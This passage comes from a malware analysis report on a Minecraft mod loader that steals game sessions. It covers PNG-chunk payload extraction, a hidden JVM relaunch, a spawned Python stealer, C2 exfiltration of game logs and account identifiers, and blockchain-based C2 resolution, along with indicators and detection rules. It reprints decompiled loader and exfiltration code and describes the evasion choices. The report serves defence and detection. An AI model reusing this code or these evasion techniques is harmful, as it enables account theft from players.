byte[] pngMagic = {-119, 80, 78, 71, 13, 10, 26, 10}; // 89 50 4E 47 0D 0A 1A 0A for (int i = 0; i < 8; i++) { if (img[i] != pngMagic[i]) return null; }
int off = 8; while (off + 8 <= img.length) { int len = ((img[off] & 255) << 24) | ((img[off + 1] & 255) << 16) | ((img[off + 2] & 255) << 8) | (img[off + 3] & 255);
byte t1 = img[off + 4], t2 = img[off + 5]; byte t3 = img[off + 6], t4 = img[off + 7];
if (t1 == 104 && t2 == 73 && t3 == 100 && t4 == 115) { // "hIds" byte[] chunk = Arrays.copyOfRange(img, off + 8, off + 8 + len); return inflateZlib(chunk); }
off += 12 + len; // 4 length + 4 type + data + 4 CRC } return null; } catch (Exception e) { return null; }}hIds, bytes 104 73 100 115, is not a valid PNG chunk type. The parser does not validate its CRC, because it is not a PNG chunk. It carries a zlib stream containing a ZIP archive.
This is the highest-value detection signal in the family. No legitimate PNG encoder emits a chunk with this type name, and the constraint is structural rather than a property of any particular sample.
Decompressionh3
private byte[] inflateZlib(byte[] comp) { try { Inflater inflater = new Inflater(); inflater.setInput(comp);
ByteArrayOutputStream out = new ByteArrayOutputStream(comp.length * 5); byte[] buf = new byte[131072];
while (!inflater.finished() && ((n = inflater.inflate(buf)) != 0 || !inflater.needsInput())) { out.write(buf, 0, n); }
inflater.end(); return out.toByteArray(); } catch (Exception e) { return null; }}Unpackingh3
private int unzipPayload(byte[] data) throws IOException { int count = 0; byte[] buf = new byte[131072]; ZipInputStream zin = new ZipInputStream(new ByteArrayInputStream(data));
while (true) { ZipEntry entry = zin.getNextEntry(); if (entry == null) break;
Path out = this.basePath.resolve(entry.getName());
if (entry.isDirectory()) { Files.createDirectories(out); } else { Files.createDirectories(out.getParent()); try (BufferedOutputStream bos = new BufferedOutputStream( new FileOutputStream(out.toFile()), 131072)) { int n; while ((n = zin.read(buf)) > 0) bos.write(buf, 0, n); } count++; } } return count;}basePath.resolve(entry.getName()) is not validated against the destination directory. That is a directory traversal, and in this context it reads as operator carelessness rather than an attack directed at anyone, since the archive is attacker-supplied to the attacker’s own client.
Working directoryh3
private Path getWorkDir() { return Path.of(System.getenv("LOCALAPPDATA"), "Microsoft", "Windows", "NtProfileIndex");}NtProfileIndex is not a Windows directory. Microsoft\Windows under %LOCALAPPDATA% resembles legitimate application data. The naming is chosen to survive both a casual look and an automated allowlist that trusts the Microsoft path prefix.
Relaunchh2
String javaHome = System.getProperty("java.home");
Path java = Path.of(javaHome, "bin", "javaw.exe");if (!Files.exists(java)) { java = Path.of(javaHome, "bin", "java.exe");}
URI codeSource = ModEntry.class.getProtectionDomain().getCodeSource().getLocation().toURI();Path self = Path.of(codeSource);
String appData = System.getenv("LOCALAPPDATA");Path work = Path.of(appData, "Microsoft", "Windows", "NtProfileIndex");Files.createDirectories(work);
ProcessBuilder pb = new ProcessBuilder( java.toString(), "-cp", self.toString(), Dropper.class.getName(), base64Config);
pb.redirectInput(ProcessBuilder.Redirect.from(new File("NUL")));pb.redirectOutput(ProcessBuilder.Redirect.appendTo(work.resolve("_spawn.log").toFile()));pb.redirectErrorStream(true);pb.directory(work.toFile());pb.start();Four properties are worth isolating:
javaw.exeis preferred overjava.exe, which suppresses the console window.stdinis redirected fromNUL, preventing the child from blocking on a console read.stderris folded into stdout and appended to a log file, so the child produces no visible output.-cppoints the new process at the loader itself, so the second stage is a plainmaininvocation.
Relaunching rather than continuing in-process buys a clean process identifier, allows the loader to be invoked with itself on the classpath, and produces a command line that is a strong detection signal on its own.
The standalone entrypoint performs the equivalent sequence with -restarted appended as the sentinel argument.
Second-stage executionh2
Path python = basePath.resolve("python.exe");Path appHost = basePath.resolve("AppHost");Path script = appHost.resolve("main.py");
if (!Files.exists(script)) { log("ERROR: main.py not found"); return;}
List<String> cmd = new ArrayList<>();cmd.add(python.toString());cmd.add(script.toString());cmd.add("-u"); cmd.add(userId); // campaign identifiercmd.add("--env"); cmd.add(loaderEnv); // Fabric | DoubleClick
if (tag != null && !tag.equals("null")) { cmd.add("--tag"); cmd.add(tag);}if (mcInfo != null && !mcInfo.equals("null")) { cmd.add("--mcInfo"); cmd.add(mcInfo);}if (prefireId != null && !prefireId.equals("null")) { cmd.add("--prefireId"); cmd.add(prefireId);}
ProcessBuilder pb = new ProcessBuilder(cmd);pb.redirectInput(ProcessBuilder.Redirect.from(new File("NUL")));pb.redirectOutput(ProcessBuilder.Redirect.appendTo(basePath.resolve("_stealer.log").toFile()));pb.redirectErrorStream(true);pb.directory(appHost.toFile());
Process child = pb.start();log("Stealer spawned: pid=" + child.pid());Resulting command line:
<python-dir>\python.exe <work-dir>\AppHost\main.py -u 0882e377-9660-4543-b568-0b9336e30155 --env Fabric [--tag <tag>] [--mcInfo <base64 session>] [--prefireId <check-in identifier>]The bundled python.exe is a portable runtime delivered inside the archive, which is why no interpreter installation is assumed on the host.
Optional arguments are guarded against the literal string "null" rather than against a null reference. That is a string-typing artefact of the hand-rolled JSON parser, which returns null as a string for absent keys.
What main.py does is recon. The loader supplies a valid session, a domain, a campaign identifier, a distribution tag, and the path to the Minecraft installation. Where the second stage goes from there is not answerable from this artefact.
Exfiltrationh2
Transmission of collected data is unconditional. It occurs on every exit path in the orchestrator, including when the payload download fails.
private void exfiltrateToC2() { if (c2Domain == null) return;
try { StringBuilder content = new StringBuilder();
if (gameDir != null) { Path mcLog = Path.of(gameDir, "logs", "latest.log"); if (Files.exists(mcLog)) { try { String s = Files.readString(mcLog); if (s.length() > 5_000_000) { s = s.substring(0, 2_500_000) + "\n\n========== TRUNCATED ==========\n" + s.substring(s.length() - 2_500_000); } content.append(s); } catch (Exception e) { content.append("ERROR reading MC log: ").append(e.getMessage()); } } }
content.append("\n\n========== DETACHED LOG ==========\n").append(activityLog); content.append("\n\n========== RUNTIME ==========\n"); content.append("jvm=").append(System.getProperty("java.version")).append("\n"); content.append("os=").append(System.getProperty("os.name")).append("\n"); content.append("user=").append(System.getProperty("user.name")).append("\n");
String url = "https://" + c2Domain + "/shard/submitMinecraftLog";
String body = "{\"userId\":\"" + jsonEscape(userId) + "\",\"content\":\"" + jsonEscape(content.toString()) + "\",\"filename\":\"combined.log\"" + ",\"mcUsername\":\"" + jsonEscape(mcUsername) + "\",\"mcUuid\":\"" + jsonEscape(mcUuid) + ",\"executionEnvironment\":\"" + jsonEscape(loaderEnv) + "\",\"Detached\":}";
RawHttpClient.httpPostWithHeaders(url, body, "application/json", Map.of("X-Edge-Cache-Revalidate", "stale-if-error", "X-Runtime-Env", "jre-embedded")); } catch (Exception e) { // no output }}Payload structure:
{"userId":"0882e377-9660-4543-b568-0b9336e30155", "content":"<see below>", "filename":"combined.log", "mcUsername":"<stolen username>", "mcUuid":"<stolen uuid>", "executionEnvironment":"Fabric", "Detached":}Content structure:
<contents of <gameDir>/logs/latest.log, truncated if over 5 MB>
========== DETACHED LOG ==========<the implant's own operational log>
========== RUNTIME ==========jvm=<java.version>os=<os.name>user=<os.user.name>Three elements carry most of the intelligence value.
The Minecraft client log is the primary collection target. latest.log is written by the game and the client, contains module lists, server addresses, and frequently chat. The 5 MB ceiling with head and tail retention is a deliberate compromise: preserve the most recent activity, which is usually the relevant end, while staying within server-side limits.
The detached log is the implant reporting on itself. Every download attempt, byte count, extraction result, spawn outcome, and exception is accumulated in an in-memory buffer and transmitted with the exfiltration. This yields a self-describing incident report on every run, including runs where the operation failed. For an analyst this is the highest-value artefact on disk.
os.user.name provides the Windows account name, which permits correlating a stolen game account with a specific machine and user.
Capability boundariesh2
Stated explicitly, because the family is described imprecisely in the environments it circulates in.
| capability | present in loader |
|---|---|
| command execution or C2 channel | no |
| keylogging | no |
| screen capture | no |
| clipboard access | no |
| browser credential theft | no |
| arbitrary file collection | no, only the game log |
| registry persistence | no |
| scheduled task or service persistence | no |
| startup folder persistence | no |
| privilege escalation | no |
| process injection into foreign processes | no |
| reflective or secondary class loading | no |
| encryption or encoding of traffic | no, only base64 for its own config |
| anti-analysis or anti-debug | no |
The process model is a relaunch of its own JVM and a child process it owns directly. There is no reflective class loading, no URLClassLoader, no second executable. The entire payload chain is data: retrieve a PNG, extract a chunk, decompress, unpack, execute a script.
The absence of persistence has implications in both directions. There is no registry key or scheduled task to enumerate, which lowers the detection surface. It also means the implant remains dormant on disk until the game is launched again.
Indicators of compromiseh2
Networkh3
| indicator | context |
|---|---|
thisisafalsepositive.st | hardcoded fallback C2 |
/shard/prefireMc | check-in endpoint, carries the access token |
/shard/submitMinecraftLog | exfiltration endpoint |
/cdn/v2/9f4e7a2c1b8d.png | payload delivery path |
X-Edge-Cache-Revalidate: stale-if-error | present on exfiltration |
X-Runtime-Env: jre-embedded | present on exfiltration |
eth_call JSON-RPC issued by a game process | no game client issues JSON-RPC |
TCP to 1.1.1.1:443 with SNI cloudflare-dns.com from a game process | DNS over HTTPS resolution |
Accept: application/dns-message with Host: cloudflare-dns.com | DoH request format |
The two custom headers are the strongest network indicator available because they are operator-defined rather than standard, and they appear on every exfiltration.
Blockchainh3
| indicator | value |
|---|---|
| contract address | 0x9c0a507300fd902787bb193d80fca5ce6e1bff9a |
| function selector | 0xce6d41de |
| chain | Polygon PoS |
Hosth3
| indicator | type |
|---|---|
%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\ | directory |
...\NtProfileIndex\python.exe | portable runtime |
...\NtProfileIndex\AppHost\main.py | second stage |
...\NtProfileIndex\_spawn.log | loader output |
...\NtProfileIndex\_stealer.log | second-stage output |
PNG file containing a chunk named hIds | file |
javaw.exe -cp <jar> <entry class> <base64> | command line |
an additional JAR in the Minecraft mods directory | artefact |
outbound JSON-RPC eth_call from a JVM under a game directory | behaviour |
Campaignh3
| identifier | value |
|---|---|
| campaign identifier | 0882e377-9660-4543-b568-0b9336e30155 |
| distribution tags | Fabric, DoubleClick |
| default tag value | unknown |
The campaign identifier is stable across samples and is the best join key for correlating this loader with other tooling from the same operator.
Two further identifiers exist in the sample and are deliberately not reproduced here, being specific to the artefact that was reversed rather than to the family’s behaviour. Detection does not depend on them: the structural indicators above cover the same ground, and with better reliability.
Detection strategyh2
Filesystemh3
The directory is the decisive artefact. Microsoft\Windows\NtProfileIndex under %LOCALAPPDATA% does not exist in any Windows build. Its presence is conclusive and requires no further analysis.
Payload inspectionh3
Parsing a PNG chunk list and testing for the type name hIds is a deterministic test with no false positives, since no standard encoder produces it. This identifies the second stage even where the loader has been deleted, which is the common case once an operator or a user reacts.
A rule along these lines is sufficient:
open file as PNGwalk chunk list from offset 8: read 4-byte big-endian length read 4-byte type if type == "hIds": read `length` bytes if zlib-inflates to a valid ZIP local file header (PK\x03\x04): report malicious advance 12 + lengthNetworkh3
An eth_call issued by a process descended from a game launcher or from a JVM running inside a mods directory carries no benign interpretation. That gives a durable detection point which is independent of the current C2 domain, since the contract and selector are fixed while the domain rotates.
Contract monitoring is the second option. Alerting on state changes to 0x9c0a507300fd902787bb193d80fca5ce6e1bff9a provides advance notice of a domain rotation rather than after-the-fact confirmation.
Processh3
javaw.exe executing with -cp pointing at a JAR located in a Minecraft installation is not a normal operation for any legitimate application. It warrants an alert on its own merits.
Static analysish3
Because there are no string literals, signature development must be structural. Three properties survive the obfuscation:
- The package name
net.fabric. - The reflection member names compared as string literals inside
SessionReflector. These necessarily reach the constant pool, because they are operands toString.equals. - The class-loading call to a Minecraft client name.
A rule matching the member-name pair field_1983 alongside getAccessToken inside a class implementing ModInitializer will identify this loader, and it will survive re-obfuscation of the string constants, because removing those literals would require abandoning support for multiple mapping schemes.
Responseh3
If NtProfileIndex is found on a host, the associated account session should be revoked before remediation proceeds. The access token was transmitted on the first HTTP request, before payload delivery began, and the check-in fires even when every subsequent stage fails. Reinstalling the game client does not remediate the account compromise.
Open questionsh2
Two items are unresolved and both are worth pursuing.
The second stage is not present in the loader. Its contents would establish the actual account and data theft capability, as distinct from what the loader itself performs.
The contract has not been read. Its current storage value is the live C2 domain, and its storage history is a record of every domain the operation has used. Both are directly obtainable from a public chain.
A third item is unresolved but lower priority. The loader ships two resources, fabric.mod.json and assets/vwvmqmfx.cfg. Both are binary rather than text and neither is referenced from any code path. Their purpose cannot be determined from the loader alone and they may relate to a build stage not included in this artefact.
The loader is small enough to analyse completely, which is unusual for this class of malware and makes the result unusually complete. The finding that outlasts the sample is the blockchain-based domain resolution. It moves the operator’s control plane onto public infrastructure that no hosting provider can act on, and it leaves a permanent record of every address used, which is a problem for the operator rather than for the defenders.